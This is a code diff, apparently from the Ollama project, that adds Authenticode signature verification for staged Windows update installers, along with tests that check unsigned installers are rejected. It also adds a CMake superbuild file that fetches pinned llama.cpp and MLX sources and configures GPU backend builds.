|
||||
if err := VerifyDownload(); err != nil {
|
||||
_ = os.Remove(bundle)
|
||||
slog.Warn("verification failure", "bundle", bundle, "error", err)
|
||||
return fmt.Errorf("staged update verification failed: %w", err)
|
||||
}
|
||||
|
||||
// We move the installer to ensure we don't race with multiple apps starting in quick succession
|
||||
if err := os.Rename(bundle, runningInstaller); err != nil {
|
||||
return fmt.Errorf("unable to rename %s -> %s : %w", bundle, runningInstaller, err)
|
||||
@@ -184,6 +215,150 @@ func DoPostUpgradeCleanup() error {
|
||||
}
|
||||
|
||||
func verifyDownload() error {
|
||||
bundle := getStagedUpdate()
|
||||
if bundle == "" {
|
||||
return fmt.Errorf("failed to lookup downloads")
|
||||
}
|
||||
slog.Debug("verifying update", "bundle", bundle)
|
||||
|
||||
if err := verifyWindowsInstallerSignature(bundle); err != nil {
|
||||
return fmt.Errorf("signature verification failed: %w", err)
|
||||
}
|
||||
return nil
|
||||
}
|
||||
|
||||
func verifyWindowsInstallerSignature(filename string) error {
|
||||
filename16, err := windows.UTF16PtrFromString(filename)
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
|
||||
data := &windows.WinTrustData{
|
||||
Size: uint32(unsafe.Sizeof(windows.WinTrustData{})),
|
||||
UIChoice: windows.WTD_UI_NONE,
|
||||
RevocationChecks: windows.WTD_REVOKE_WHOLECHAIN,
|
||||
UnionChoice: windows.WTD_CHOICE_FILE,
|
||||
StateAction: windows.WTD_STATEACTION_VERIFY,
|
||||
UIContext: windows.WTD_UICONTEXT_INSTALL,
|
||||
FileOrCatalogOrBlobOrSgnrOrCert: unsafe.Pointer(&windows.WinTrustFileInfo{
|
||||
Size: uint32(unsafe.Sizeof(windows.WinTrustFileInfo{})),
|
||||
FilePath: filename16,
|
||||
}),
|
||||
}
|
||||
|
||||
verifyErr := windows.WinVerifyTrustEx(windows.InvalidHWND, &windows.WINTRUST_ACTION_GENERIC_VERIFY_V2, data)
|
||||
data.StateAction = windows.WTD_STATEACTION_CLOSE
|
||||
closeErr := windows.WinVerifyTrustEx(windows.InvalidHWND, &windows.WINTRUST_ACTION_GENERIC_VERIFY_V2, data)
|
||||
if verifyErr != nil {
|
||||
return verifyErr
|
||||
}
|
||||
if closeErr != nil {
|
||||
return fmt.Errorf("close WinVerifyTrust state: %w", closeErr)
|
||||
}
|
||||
|
||||
subject, err := windowsInstallerSignerSubject(filename)
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
slog.Debug("verified update signature", "subject", subject)
|
||||
return nil
|
||||
}
|
||||
|
||||
func windowsInstallerSignerSubject(filename string) (string, error) {
|
||||
filename16, err := windows.UTF16PtrFromString(filename)
|
||||
if err != nil {
|
||||
return "", err
|
||||
}
|
||||
|
||||
var certStore windows.Handle
|
||||
var msg windows.Handle
|
||||
if err := windows.CryptQueryObject(
|
||||
windows.CERT_QUERY_OBJECT_FILE,
|
||||
unsafe.Pointer(filename16),
|
||||
windows.CERT_QUERY_CONTENT_FLAG_PKCS7_SIGNED_EMBED,
|
||||
windows.CERT_QUERY_FORMAT_FLAG_BINARY,
|
||||
0,
|
||||
nil,
|
||||
nil,
|
||||
nil,
|
||||
&certStore,
|
||||
&msg,
|
||||
nil,
|
||||
); err != nil {
|
||||
return "", err
|
||||
}
|
||||
defer windows.CertCloseStore(certStore, 0) //nolint:errcheck
|
||||
defer cryptMsgClose(msg) //nolint:errcheck
|
||||
|
||||
var signerInfoSize uint32
|
||||
if err := cryptMsgGetParam(msg, cmsgSignerInfoParam, 0, nil, &signerInfoSize); err != nil {
|
||||
return "", err
|
||||
}
|
||||
if signerInfoSize == 0 {
|
||||
return "", fmt.Errorf("missing signer info")
|
||||
}
|
||||
|
||||
signerInfoBuf := make([]byte, signerInfoSize)
|
||||
if err := cryptMsgGetParam(msg, cmsgSignerInfoParam, 0, unsafe.Pointer(&signerInfoBuf[0]), &signerInfoSize); err != nil {
|
||||
return "", err
|
||||
}
|
||||
signerInfo := (*cmsgSignerInfo)(unsafe.Pointer(&signerInfoBuf[0]))
|
||||
certInfo := windows.CertInfo{
|
||||
Issuer: signerInfo.Issuer,
|
||||
SerialNumber: signerInfo.SerialNumber,
|
||||
}
|
||||
|
||||
cert, err := windows.CertFindCertificateInStore(
|
||||
certStore,
|
||||
windows.X509_ASN_ENCODING|windows.PKCS_7_ASN_ENCODING,
|
||||
0,
|
||||
windows.CERT_FIND_SUBJECT_CERT,
|
||||
unsafe.Pointer(&certInfo),
|
||||
nil,
|
||||
)
|
||||
if err != nil {
|
||||
return "", err
|
||||
}
|
||||
defer windows.CertFreeCertificateContext(cert) //nolint:errcheck
|
||||
|
||||
parsed, err := x509.ParseCertificate(unsafe.Slice(cert.EncodedCert, cert.Length))
|
||||
if err != nil {
|
||||
return "", err
|
||||
}
|
||||
|
||||
for _, org := range parsed.Subject.Organization {
|
||||
if org == "Ollama Inc." {
|
||||
return parsed.Subject.String(), nil
|
||||
}
|
||||
}
|
||||
return "", fmt.Errorf("unexpected signer: %s", parsed.Subject.String())
|
||||
}
|
||||
|
||||
func cryptMsgGetParam(msg windows.Handle, paramType, index uint32, data unsafe.Pointer, size *uint32) error {
|
||||
r1, _, e1 := procCryptMsgGetParam.Call(
|
||||
uintptr(msg),
|
||||
uintptr(paramType),
|
||||
uintptr(index),
|
||||
uintptr(data),
|
||||
uintptr(unsafe.Pointer(size)),
|
||||
)
|
||||
if r1 == 0 {
|
||||
if e1 != syscall.Errno(0) {
|
||||
return e1
|
||||
}
|
||||
return syscall.EINVAL
|
||||
}
|
||||
return nil
|
||||
}
|
||||
|
||||
func cryptMsgClose(msg windows.Handle) error {
|
||||
r1, _, e1 := procCryptMsgClose.Call(uintptr(msg))
|
||||
if r1 == 0 {
|
||||
if e1 != syscall.Errno(0) {
|
||||
return e1
|
||||
}
|
||||
return syscall.EINVAL
|
||||
}
|
||||
return nil
|
||||
}
|
||||
|
||||
|
||||
@@ -1,13 +1,85 @@
|
||||
//go:build windows || darwin
|
||||
//go:build windows
|
||||
|
||||
package updater
|
||||
|
||||
import (
|
||||
"log/slog"
|
||||
"os"
|
||||
"path/filepath"
|
||||
"strings"
|
||||
"testing"
|
||||
)
|
||||
|
||||
func TestVerifyDownloadRejectsUnsignedWindowsInstaller(t *testing.T) {
|
||||
oldUpdateStageDir := UpdateStageDir
|
||||
defer func() {
|
||||
UpdateStageDir = oldUpdateStageDir
|
||||
}()
|
||||
|
||||
t.Setenv("LOCALAPPDATA", t.TempDir())
|
||||
UpdateStageDir = t.TempDir()
|
||||
bundle := filepath.Join(UpdateStageDir, "etag", "OllamaSetup.exe")
|
||||
if err := os.MkdirAll(filepath.Dir(bundle), 0o755); err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
if err := os.WriteFile(bundle, []byte("not a signed installer"), 0o755); err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
|
||||
err := verifyDownload()
|
||||
if err == nil || !strings.Contains(err.Error(), "signature verification failed") {
|
||||
t.Fatalf("expected signature verification failure, got %v", err)
|
||||
}
|
||||
}
|
||||
|
||||
func TestDoUpgradeAtStartupRejectsUnsignedWindowsInstaller(t *testing.T) {
|
||||
oldUpdateStageDir := UpdateStageDir
|
||||
oldRunningInstaller := runningInstaller
|
||||
oldUpgradeLogFile := UpgradeLogFile
|
||||
oldUpgradeMarkerFile := UpgradeMarkerFile
|
||||
oldVerifyDownload := VerifyDownload
|
||||
defer func() {
|
||||
UpdateStageDir = oldUpdateStageDir
|
||||
runningInstaller = oldRunningInstaller
|
||||
UpgradeLogFile = oldUpgradeLogFile
|
||||
UpgradeMarkerFile = oldUpgradeMarkerFile
|
||||
VerifyDownload = oldVerifyDownload
|
||||
}()
|
||||
|
||||
t.Setenv("LOCALAPPDATA", t.TempDir())
|
||||
UpdateStageDir = t.TempDir()
|
||||
runDir := t.TempDir()
|
||||
runningInstaller = filepath.Join(runDir, "OllamaSetup.exe")
|
||||
UpgradeLogFile = filepath.Join(runDir, "upgrade.log")
|
||||
UpgradeMarkerFile = filepath.Join(runDir, "upgraded")
|
||||
VerifyDownload = verifyDownload
|
||||
|
||||
bundle := filepath.Join(UpdateStageDir, "etag", "OllamaSetup.exe")
|
||||
if err := os.MkdirAll(filepath.Dir(bundle), 0o755); err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
if err := os.WriteFile(bundle, []byte("not a signed installer"), 0o755); err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
|
||||
err := DoUpgradeAtStartup()
|
||||
if err == nil || !strings.Contains(err.Error(), "signature verification failed") {
|
||||
t.Fatalf("expected signature verification failure, got %v", err)
|
||||
}
|
||||
if _, err := os.Stat(runningInstaller); !os.IsNotExist(err) {
|
||||
t.Fatalf("unsigned installer was moved before verification failed: %v", err)
|
||||
}
|
||||
if _, err := os.Stat(bundle); !os.IsNotExist(err) {
|
||||
t.Fatalf("unsigned staged installer was not removed after verification failure: %v", err)
|
||||
}
|
||||
}
|
||||
|
||||
func TestIsInstallerRunning(t *testing.T) {
|
||||
oldInstaller := Installer
|
||||
defer func() {
|
||||
Installer = oldInstaller
|
||||
}()
|
||||
|
||||
slog.SetLogLoggerLevel(slog.LevelDebug)
|
||||
Installer = "go.exe"
|
||||
if !isInstallerRunning() {
|
||||
|
||||
@@ -0,0 +1,692 @@
|
||||
# Local Ollama superbuild targets.
|
||||
#
|
||||
# This file keeps the repository-root CMake project focused on orchestration:
|
||||
# it builds a runnable local Ollama payload by delegating llama.cpp work to the
|
||||
# llama/server CMake project and building the Go binary into a matching layout.
|
||||
|
||||
include(ExternalProject)
|
||||
|
||||
set(OLLAMA_LLAMA_BACKENDS "" CACHE STRING
|
||||
"Semicolon-separated llama-server GPU backends to build: cuda_v12;cuda_v13;rocm_v7_1;rocm_v7_2;vulkan;cuda_jetpack5;cuda_jetpack6")
|
||||
set(_ollama_mlx_backends_doc "Semicolon-separated MLX backends to build: cuda_v13;metal_v3;metal_v4")
|
||||
set(OLLAMA_VERSION "0.0.0" CACHE STRING "Ollama version embedded in the local Go binary")
|
||||
set(OLLAMA_PAYLOAD_INSTALL_PREFIX "${CMAKE_BINARY_DIR}" CACHE PATH
|
||||
"Build-time staging prefix for nested Ollama native payloads")
|
||||
|
||||
string(REGEX REPLACE "^v" "" OLLAMA_VERSION "${OLLAMA_VERSION}")
|
||||
|
||||
set(OLLAMA_NATIVE_CONFIG_ARG)
|
||||
if(CMAKE_CONFIGURATION_TYPES)
|
||||
set(OLLAMA_NATIVE_CONFIG_ARG --config Release)
|
||||
endif()
|
||||
|
||||
set(OLLAMA_NATIVE_EXTERNAL_OPTIONS)
|
||||
if(CMAKE_VERSION VERSION_GREATER_EQUAL 3.28)
|
||||
list(APPEND OLLAMA_NATIVE_EXTERNAL_OPTIONS BUILD_JOB_SERVER_AWARE TRUE)
|
||||
endif()
|
||||
|
||||
function(ollama_check_metal_toolchain output_version)
|
||||
find_program(_ollama_xcrun xcrun)
|
||||
if(NOT _ollama_xcrun)
|
||||
message(FATAL_ERROR
|
||||
"MLX Metal requires Xcode command line tools. Install Xcode, run "
|
||||
"`sudo xcode-select -s /Applications/Xcode.app/Contents/Developer`, "
|
||||
"then install the Metal toolchain with "
|
||||
"`xcodebuild -downloadComponent MetalToolchain`.")
|
||||
endif()
|
||||
|
||||
execute_process(
|
||||
COMMAND zsh "-c"
|
||||
"echo \"__METAL_VERSION__\" | \"${_ollama_xcrun}\" -sdk macosx metal -E -x metal -P - 2>/dev/null | tail -1 | tr -d '\n'"
|
||||
OUTPUT_VARIABLE _metal_version
|
||||
RESULT_VARIABLE _metal_result)
|
||||
if(NOT _metal_result EQUAL 0 OR NOT _metal_version MATCHES "^[0-9]+$")
|
||||
message(FATAL_ERROR
|
||||
"MLX Metal requires Xcode's Metal toolchain. Install Xcode, run "
|
||||
"`sudo xcode-select -s /Applications/Xcode.app/Contents/Developer`, "
|
||||
"then install the Metal toolchain with "
|
||||
"`xcodebuild -downloadComponent MetalToolchain`.")
|
||||
endif()
|
||||
|
||||
set(${output_version} "${_metal_version}" PARENT_SCOPE)
|
||||
endfunction()
|
||||
|
||||
function(ollama_macos_major_version output)
|
||||
execute_process(
|
||||
COMMAND sw_vers -productVersion
|
||||
OUTPUT_VARIABLE _macos_version
|
||||
OUTPUT_STRIP_TRAILING_WHITESPACE
|
||||
RESULT_VARIABLE _macos_result
|
||||
ERROR_QUIET)
|
||||
if(_macos_result EQUAL 0)
|
||||
string(REGEX MATCH "^[0-9]+" _macos_major "${_macos_version}")
|
||||
endif()
|
||||
set(${output} "${_macos_major}" PARENT_SCOPE)
|
||||
endfunction()
|
||||
|
||||
function(ollama_macos_sdk_major_version output)
|
||||
execute_process(
|
||||
COMMAND xcrun --sdk macosx --show-sdk-version
|
||||
OUTPUT_VARIABLE _sdk_version
|
||||
OUTPUT_STRIP_TRAILING_WHITESPACE
|
||||
RESULT_VARIABLE _sdk_result
|
||||
ERROR_QUIET)
|
||||
if(_sdk_result EQUAL 0)
|
||||
string(REGEX MATCH "^[0-9]+" _sdk_major "${_sdk_version}")
|
||||
endif()
|
||||
set(${output} "${_sdk_major}" PARENT_SCOPE)
|
||||
endfunction()
|
||||
|
||||
function(ollama_default_mlx_backends output)
|
||||
set(_backends "")
|
||||
if(APPLE AND CMAKE_SYSTEM_PROCESSOR STREQUAL "arm64")
|
||||
ollama_check_metal_toolchain(_metal_version)
|
||||
ollama_macos_major_version(_macos_major)
|
||||
ollama_macos_sdk_major_version(_sdk_major)
|
||||
if(_macos_major AND _sdk_major AND _macos_major GREATER_EQUAL 26 AND _sdk_major GREATER_EQUAL 26)
|
||||
set(_backends "metal_v4")
|
||||
else()
|
||||
set(_backends "metal_v3")
|
||||
endif()
|
||||
message(STATUS "Defaulting OLLAMA_MLX_BACKENDS=${_backends} for macOS arm64")
|
||||
endif()
|
||||
set(${output} "${_backends}" PARENT_SCOPE)
|
||||
endfunction()
|
||||
|
||||
if(NOT DEFINED OLLAMA_MLX_BACKENDS)
|
||||
ollama_default_mlx_backends(_ollama_default_mlx_backends)
|
||||
set(OLLAMA_MLX_BACKENDS "${_ollama_default_mlx_backends}" CACHE STRING "${_ollama_mlx_backends_doc}")
|
||||
else()
|
||||
set(OLLAMA_MLX_BACKENDS "${OLLAMA_MLX_BACKENDS}" CACHE STRING "${_ollama_mlx_backends_doc}")
|
||||
endif()
|
||||
|
||||
if(NOT OLLAMA_HAVE_LLAMA_SERVER)
|
||||
if(OLLAMA_LLAMA_BACKENDS)
|
||||
message(FATAL_ERROR "llama/server is required when OLLAMA_LLAMA_BACKENDS is set")
|
||||
endif()
|
||||
if(NOT OLLAMA_MLX_BACKENDS)
|
||||
message(FATAL_ERROR "llama/server is required for local Ollama builds")
|
||||
endif()
|
||||
else()
|
||||
file(READ "${CMAKE_SOURCE_DIR}/LLAMA_CPP_VERSION" OLLAMA_LLAMA_CPP_GIT_TAG)
|
||||
string(STRIP "${OLLAMA_LLAMA_CPP_GIT_TAG}" OLLAMA_LLAMA_CPP_GIT_TAG)
|
||||
include(${CMAKE_SOURCE_DIR}/llama/compat/compat.cmake)
|
||||
if(DEFINED FETCHCONTENT_SOURCE_DIR_LLAMA_CPP AND NOT "${FETCHCONTENT_SOURCE_DIR_LLAMA_CPP}" STREQUAL "")
|
||||
get_filename_component(OLLAMA_LLAMA_CPP_SOURCE_DIR
|
||||
"${FETCHCONTENT_SOURCE_DIR_LLAMA_CPP}" ABSOLUTE BASE_DIR "${CMAKE_SOURCE_DIR}")
|
||||
message(STATUS "Using llama.cpp source override: ${OLLAMA_LLAMA_CPP_SOURCE_DIR}")
|
||||
add_custom_target(ollama-llama-cpp-source)
|
||||
elseif(DEFINED ENV{OLLAMA_LLAMA_CPP_SOURCE})
|
||||
get_filename_component(OLLAMA_LLAMA_CPP_SOURCE_DIR
|
||||
"$ENV{OLLAMA_LLAMA_CPP_SOURCE}" ABSOLUTE BASE_DIR "${CMAKE_SOURCE_DIR}")
|
||||
message(STATUS "Using local llama.cpp source: ${OLLAMA_LLAMA_CPP_SOURCE_DIR}")
|
||||
add_custom_target(ollama-llama-cpp-source)
|
||||
else()
|
||||
set(OLLAMA_LLAMA_CPP_SOURCE_DIR "${CMAKE_BINARY_DIR}/_deps/llama_cpp-src")
|
||||
ExternalProject_Add(ollama-llama-cpp-source
|
||||
GIT_REPOSITORY "https://github.com/ggml-org/llama.cpp.git"
|
||||
GIT_TAG ${OLLAMA_LLAMA_CPP_GIT_TAG}
|
||||
GIT_SHALLOW TRUE
|
||||
SOURCE_DIR ${OLLAMA_LLAMA_CPP_SOURCE_DIR}
|
||||
CONFIGURE_COMMAND ""
|
||||
BUILD_COMMAND ""
|
||||
INSTALL_COMMAND ""
|
||||
PATCH_COMMAND ${OLLAMA_LLAMA_CPP_COMPAT_PATCH_COMMAND}
|
||||
USES_TERMINAL_DOWNLOAD TRUE
|
||||
USES_TERMINAL_PATCH TRUE)
|
||||
endif()
|
||||
endif()
|
||||
|
||||
set(_mlx_source_targets)
|
||||
if(OLLAMA_MLX_BACKENDS)
|
||||
file(READ "${CMAKE_SOURCE_DIR}/MLX_VERSION" OLLAMA_MLX_GIT_TAG)
|
||||
string(STRIP "${OLLAMA_MLX_GIT_TAG}" OLLAMA_MLX_GIT_TAG)
|
||||
file(READ "${CMAKE_SOURCE_DIR}/MLX_C_VERSION" OLLAMA_MLX_C_GIT_TAG)
|
||||
string(STRIP "${OLLAMA_MLX_C_GIT_TAG}" OLLAMA_MLX_C_GIT_TAG)
|
||||
|
||||
if(DEFINED FETCHCONTENT_SOURCE_DIR_MLX AND NOT "${FETCHCONTENT_SOURCE_DIR_MLX}" STREQUAL "")
|
||||
get_filename_component(OLLAMA_MLX_SOURCE_DIR
|
||||
"${FETCHCONTENT_SOURCE_DIR_MLX}" ABSOLUTE BASE_DIR "${CMAKE_SOURCE_DIR}")
|
||||
message(STATUS "Using MLX source override: ${OLLAMA_MLX_SOURCE_DIR}")
|
||||
elseif(DEFINED ENV{OLLAMA_MLX_SOURCE})
|
||||
get_filename_component(OLLAMA_MLX_SOURCE_DIR
|
||||
"$ENV{OLLAMA_MLX_SOURCE}" ABSOLUTE BASE_DIR "${CMAKE_SOURCE_DIR}")
|
||||
message(STATUS "Using local MLX source: ${OLLAMA_MLX_SOURCE_DIR}")
|
||||
else()
|
||||
set(OLLAMA_MLX_SOURCE_DIR "${CMAKE_BINARY_DIR}/_deps/mlx-src")
|
||||
ExternalProject_Add(ollama-mlx-source
|
||||
GIT_REPOSITORY "https://github.com/ml-explore/mlx.git"
|
||||
GIT_TAG ${OLLAMA_MLX_GIT_TAG}
|
||||
# MLX uses commit hashes while we track closely; switch to shallow when MLX pins move to tags.
|
||||
GIT_SHALLOW FALSE
|
||||
SOURCE_DIR ${OLLAMA_MLX_SOURCE_DIR}
|
||||
CONFIGURE_COMMAND ""
|
||||
BUILD_COMMAND ""
|
||||
INSTALL_COMMAND ""
|
||||
USES_TERMINAL_DOWNLOAD TRUE)
|
||||
list(APPEND _mlx_source_targets ollama-mlx-source)
|
||||
endif()
|
||||
|
||||
if(DEFINED "FETCHCONTENT_SOURCE_DIR_MLX-C" AND NOT "${FETCHCONTENT_SOURCE_DIR_MLX-C}" STREQUAL "")
|
||||
get_filename_component(OLLAMA_MLX_C_SOURCE_DIR
|
||||
"${FETCHCONTENT_SOURCE_DIR_MLX-C}" ABSOLUTE BASE_DIR "${CMAKE_SOURCE_DIR}")
|
||||
message(STATUS "Using MLX-C source override: ${OLLAMA_MLX_C_SOURCE_DIR}")
|
||||
elseif(DEFINED ENV{OLLAMA_MLX_C_SOURCE})
|
||||
get_filename_component(OLLAMA_MLX_C_SOURCE_DIR
|
||||
"$ENV{OLLAMA_MLX_C_SOURCE}" ABSOLUTE BASE_DIR "${CMAKE_SOURCE_DIR}")
|
||||
message(STATUS "Using local MLX-C source: ${OLLAMA_MLX_C_SOURCE_DIR}")
|
||||
else()
|
||||
set(OLLAMA_MLX_C_SOURCE_DIR "${CMAKE_BINARY_DIR}/_deps/mlx-c-src")
|
||||
ExternalProject_Add(ollama-mlx-c-source
|
||||
GIT_REPOSITORY "https://github.com/ml-explore/mlx-c.git"
|
||||
GIT_TAG ${OLLAMA_MLX_C_GIT_TAG}
|
||||
# MLX-C uses commit hashes while we track closely; switch to shallow when MLX-C pins move to tags.
|
||||
GIT_SHALLOW FALSE
|
||||
SOURCE_DIR ${OLLAMA_MLX_C_SOURCE_DIR}
|
||||
CONFIGURE_COMMAND ""
|
||||
BUILD_COMMAND ""
|
||||
INSTALL_COMMAND ""
|
||||
USES_TERMINAL_DOWNLOAD TRUE)
|
||||
list(APPEND _mlx_source_targets ollama-mlx-c-source)
|
||||
endif()
|
||||
add_custom_target(ollama-mlx-sources DEPENDS ${_mlx_source_targets})
|
||||
endif()
|
||||
|
||||
set(OLLAMA_NATIVE_BUILD_TOOL_COMMAND
|
||||
${CMAKE_COMMAND} --build <BINARY_DIR>)
|
||||
set(OLLAMA_NATIVE_BUILD_TARGET_ARG --target)
|
||||
if(CMAKE_GENERATOR MATCHES "Makefiles")
|
||||
set(OLLAMA_NATIVE_BUILD_TOOL_COMMAND
|
||||
"$(MAKE)" -C <BINARY_DIR>)
|
||||
set(OLLAMA_NATIVE_BUILD_TARGET_ARG)
|
||||
endif()
|
||||
|
||||
function(ollama_escape_cmake_list input output)
|
||||
string(REPLACE ";" "|" _escaped "${input}")
|
||||
set(${output} "${_escaped}" PARENT_SCOPE)
|
||||
endfunction()
|
||||
|
||||
function(ollama_collect_cache_args_with_prefix prefix output)
|
||||
get_cmake_property(_cache_variables CACHE_VARIABLES)
|
||||
list(SORT _cache_variables)
|
||||
|
||||
set(_args)
|
||||
foreach(_var IN LISTS _cache_variables)
|
||||
if(_var MATCHES "^${prefix}")
|
||||
ollama_escape_cmake_list("${${_var}}" _value)
|
||||
list(APPEND _args "-D${_var}=${_value}")
|
||||
endif()
|
||||
endforeach()
|
||||
|
||||
set(${output} "${_args}" PARENT_SCOPE)
|
||||
endfunction()
|
||||
|
||||
function(ollama_append_cache_arg_if_set output name)
|
||||
if(DEFINED ${name} AND NOT "${${name}}" STREQUAL "")
|
||||
ollama_escape_cmake_list("${${name}}" _value)
|
||||
set(${output} ${${output}} "-D${name}=${_value}" PARENT_SCOPE)
|
||||
endif()
|
||||
endfunction()
|
||||
|
||||
function(ollama_cache_arg_is_set name output)
|
||||
if(DEFINED ${name} AND NOT "${${name}}" STREQUAL "")
|
||||
set(${output} TRUE PARENT_SCOPE)
|
||||
else()
|
||||
set(${output} FALSE PARENT_SCOPE)
|
||||
endif()
|
||||
endfunction()
|
||||
|
||||
function(ollama_llama_cuda_preset backend output)
|
||||
ollama_cache_arg_is_set(CMAKE_CUDA_ARCHITECTURES _has_cuda_arch)
|
||||
if(_has_cuda_arch)
|
||||
set(_preset "llama_${backend}_user_arch")
|
||||
elseif(WIN32)
|
||||
set(_preset "llama_${backend}_windows")
|
||||
else()
|
||||
set(_preset "llama_${backend}_linux")
|
||||
endif()
|
||||
set(${output} "${_preset}" PARENT_SCOPE)
|
||||
endfunction()
|
||||
|
||||
function(ollama_mlx_cuda_preset output)
|
||||
ollama_cache_arg_is_set(MLX_CUDA_ARCHITECTURES _has_mlx_arch)
|
||||
ollama_cache_arg_is_set(CMAKE_CUDA_ARCHITECTURES _has_cuda_arch)
|
||||
if(_has_mlx_arch OR _has_cuda_arch)
|
||||
set(_preset "mlx_cuda_v13_user_arch")
|
||||
elseif(WIN32)
|
||||
set(_preset "mlx_cuda_v13_windows")
|
||||
else()
|
||||
set(_preset "mlx_cuda_v13_linux")
|
||||
endif()
|
||||
set(${output} "${_preset}" PARENT_SCOPE)
|
||||
endfunction()
|
||||
|
||||
function(ollama_rocm_preset backend output)
|
||||
ollama_cache_arg_is_set(AMDGPU_TARGETS _has_amdgpu_targets)
|
||||
ollama_cache_arg_is_set(CMAKE_HIP_ARCHITECTURES _has_hip_arch)
|
||||
if(_has_amdgpu_targets OR _has_hip_arch)
|
||||
if(backend STREQUAL "rocm_v7_1" AND NOT WIN32)
|
||||
message(FATAL_ERROR "OLLAMA_LLAMA_BACKENDS=rocm_v7_1 is only supported for Windows ROCm builds")
|
||||
elseif(backend STREQUAL "rocm_v7_2" AND WIN32)
|
||||
message(FATAL_ERROR "OLLAMA_LLAMA_BACKENDS=rocm_v7_2 is only supported for Linux ROCm builds")
|
||||
endif()
|
||||
elseif(backend STREQUAL "rocm_v7_1")
|
||||
if(NOT WIN32)
|
||||
message(FATAL_ERROR "OLLAMA_LLAMA_BACKENDS=rocm_v7_1 is only supported for Windows ROCm builds")
|
||||
endif()
|
||||
set(_preset "${backend}_windows")
|
||||
elseif(backend STREQUAL "rocm_v7_2")
|
||||
if(WIN32)
|
||||
message(FATAL_ERROR "OLLAMA_LLAMA_BACKENDS=rocm_v7_2 is only supported for Linux ROCm builds")
|
||||
endif()
|
||||
set(_preset "${backend}_linux")
|
||||
else()
|
||||
message(FATAL_ERROR "Unknown ROCm backend '${backend}'")
|
||||
endif()
|
||||
if(_has_amdgpu_targets OR _has_hip_arch)
|
||||
set(_preset "${backend}_user_arch")
|
||||
endif()
|
||||
set(${output} "${_preset}" PARENT_SCOPE)
|
||||
endfunction()
|
||||
|
||||
function(ollama_add_llama_server_build name)
|
||||
cmake_parse_arguments(ARG "" "PRESET;RUNNER_DIR" "TARGETS;CMAKE_ARGS" ${ARGN})
|
||||
if(NOT ARG_TARGETS)
|
||||
message(FATAL_ERROR "ollama_add_llama_server_build(${name}) requires TARGETS")
|
||||
endif()
|
||||
|
||||
if(WIN32 AND name STREQUAL "vulkan")
|
||||
# The Vulkan shader generator nests deeply enough to hit Windows MAX_PATH.
|
||||
set(_build_dir ${CMAKE_BINARY_DIR}/ls-vk)
|
||||
else()
|
||||
set(_build_dir ${CMAKE_BINARY_DIR}/llama-server-${name})
|
||||
endif()
|
||||
ollama_collect_cache_args_with_prefix("GGML_" _ggml_cache_args)
|
||||
ollama_collect_cache_args_with_prefix("LLAMA_" _llama_cache_args)
|
||||
set(_cmake_args
|
||||
-DCMAKE_BUILD_TYPE=${CMAKE_BUILD_TYPE}
|
||||
-DCMAKE_INSTALL_PREFIX=${OLLAMA_PAYLOAD_INSTALL_PREFIX}
|
||||
-DOLLAMA_LIB_DIR:STRING=${OLLAMA_LIB_DIR}
|
||||
-DOLLAMA_RUNNER_DIR=${ARG_RUNNER_DIR}
|
||||
-DFETCHCONTENT_SOURCE_DIR_LLAMA_CPP=${OLLAMA_LLAMA_CPP_SOURCE_DIR}
|
||||
-DOLLAMA_LLAMA_CPP_SKIP_COMPAT_PATCH=ON
|
||||
-DGGML_NATIVE=OFF
|
||||
-DGGML_OPENMP=OFF
|
||||
${ARG_CMAKE_ARGS}
|
||||
${_ggml_cache_args}
|
||||
${_llama_cache_args}
|
||||
)
|
||||
|
||||
if(APPLE)
|
||||
if(CMAKE_OSX_ARCHITECTURES)
|
||||
list(APPEND _cmake_args
|
||||
-DCMAKE_OSX_ARCHITECTURES=${CMAKE_OSX_ARCHITECTURES})
|
||||
endif()
|
||||
if(CMAKE_OSX_DEPLOYMENT_TARGET)
|
||||
list(APPEND _cmake_args
|
||||
-DCMAKE_OSX_DEPLOYMENT_TARGET=${CMAKE_OSX_DEPLOYMENT_TARGET})
|
||||
endif()
|
||||
endif()
|
||||
set(_configure_command ${CMAKE_COMMAND}
|
||||
-S ${CMAKE_SOURCE_DIR}/llama/server
|
||||
-B <BINARY_DIR>
|
||||
${_cmake_args})
|
||||
if(ARG_PRESET)
|
||||
set(_configure_command ${CMAKE_COMMAND}
|
||||
-S ${CMAKE_SOURCE_DIR}/llama/server
|
||||
--preset ${ARG_PRESET}
|
||||
-B <BINARY_DIR>
|
||||
${_cmake_args})
|
||||
endif()
|
||||
ExternalProject_Add(ollama-llama-server-${name}
|
||||
SOURCE_DIR ${CMAKE_SOURCE_DIR}/llama/server
|
||||
BINARY_DIR ${_build_dir}
|
||||
CONFIGURE_COMMAND ${_configure_command}
|
||||
BUILD_COMMAND ${OLLAMA_NATIVE_BUILD_TOOL_COMMAND}
|
||||
${OLLAMA_NATIVE_CONFIG_ARG}
|
||||
${OLLAMA_NATIVE_BUILD_TARGET_ARG} ${ARG_TARGETS}
|
||||
INSTALL_COMMAND ${CMAKE_COMMAND} --install <BINARY_DIR>
|
||||
${OLLAMA_NATIVE_CONFIG_ARG}
|
||||
--component llama-server
|
||||
DEPENDS ollama-llama-cpp-source
|
||||
LIST_SEPARATOR |
|
||||
# ExternalProject cannot reliably infer when nested FetchContent
|
||||
# sources, compat patches, or forwarded GGML/LLAMA cache settings need
|
||||
# a rebuild. Always entering the sub-build keeps direct `cmake --build`
|
||||
# iteration correct; the nested generator still performs incremental
|
||||
# compilation.
|
||||
BUILD_ALWAYS TRUE
|
||||
${OLLAMA_NATIVE_EXTERNAL_OPTIONS}
|
||||
USES_TERMINAL_CONFIGURE TRUE
|
||||
USES_TERMINAL_BUILD TRUE
|
||||
USES_TERMINAL_INSTALL TRUE)
|
||||
endfunction()
|
||||
|
||||
function(ollama_add_mlx_build name)
|
||||
cmake_parse_arguments(ARG "" "PRESET;RUNNER_DIR" "CMAKE_ARGS" ${ARGN})
|
||||
if(NOT ARG_RUNNER_DIR)
|
||||
message(FATAL_ERROR "ollama_add_mlx_build(${name}) requires RUNNER_DIR")
|
||||
endif()
|
||||
|
||||
set(_build_dir ${CMAKE_BINARY_DIR}/${ARG_RUNNER_DIR})
|
||||
ollama_collect_cache_args_with_prefix("MLX_" _mlx_cache_args)
|
||||
set(_cmake_args
|
||||
-DCMAKE_BUILD_TYPE=${CMAKE_BUILD_TYPE}
|
||||
